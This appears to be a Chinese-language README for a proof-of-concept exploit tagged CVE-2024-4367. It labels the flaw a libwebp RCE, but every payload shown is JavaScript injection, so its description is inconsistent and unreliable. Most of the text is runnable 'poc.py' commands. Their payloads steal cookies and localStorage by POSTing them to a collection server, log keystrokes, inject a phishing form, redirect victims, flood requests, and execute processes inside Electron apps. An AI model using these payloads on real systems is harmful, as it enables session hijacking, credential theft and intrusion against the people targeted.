CVE-2024-4367的PoC(概念验证)- libwebp中的RCE漏洞。完整演示包括:payload创建、攻击场景、风险分析以及Express.js测试服务器。
另一个利用示例是注入一个简单的警告消息,以验证攻击是否有效。
python poc.py "alert('XSS exploit triggered');"
XSS攻击可用于窃取受害者的Cookie,并将其发送到恶意服务器。
python poc.py "fetch('http://localhost:3000/cookie', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({cookie: document.cookie})});"
http://localhost:3000/cookie)。攻击者可以窃取存储在受害者localStorage中的敏感信息,例如身份验证数据或会话信息。
python poc.py "fetch('http://localhost:3000/localstorage', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({localstorage: JSON.stringify(localStorage)})});"
localStorage中的敏感数据,并通过fetch请求将其发送到恶意服务器。攻击者可以将受害者重定向到恶意站点,以获取更多信息或加载另一个利用程序。
python poc.py "window.location.href='http://localhost:3000';"
另一种攻击方式是向服务器发送大量请求,这可能导致性能下降或服务中断。
python poc.py "for (let i = 0; i < 100; i++) { fetch('http://localhost:3000/api'); }"
攻击者可以拦截受害者的键盘输入,从而获取密码或用户名等敏感信息。
python poc.py """document.addEventListener('keydown', function(e) {
fetch('http://localhost:3000/keylogger?key=' + e.key);
});"""
攻击者可以利用XSS在网页中注入一个钓鱼表单,从而窃取敏感信息(例如:密码、用户名)。
python poc.py """
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://localhost:3000/phishing';
var input = document.createElement('input');
input.type = 'text';
input.name = 'username';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
"""
如果用户点击下载按钮,我们将更改下载目标。
const a = document.createElement('a');
a.href = "https://example.com/fichier.pdf";
a.download = "fichier.pdf";
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
python poc.py "require('child_process').exec('calc.exe')"
基于Electron或NW.js等框架的应用程序也可能受到XSS攻击的影响,因为它们允许将Web内容集成到具有广泛本地访问权限的桌面应用程序中。
由于这些应用程序的权限,攻击者可以访问本地文件、执行外部进程,甚至在目标机器上启动其他应用程序(例如计算器、文本编辑器等)。这大大增加了攻击面,因为这些应用程序将Web的能力与更广泛的系统访问相结合。
利用CVE(常见漏洞与暴露)的攻击可以实现多种类型的XSS攻击。通过利用Web或桌面应用程序中的特定漏洞,攻击者可以注入恶意代码、窃取敏感信息、操纵用户会话或在目标系统上执行恶意操作。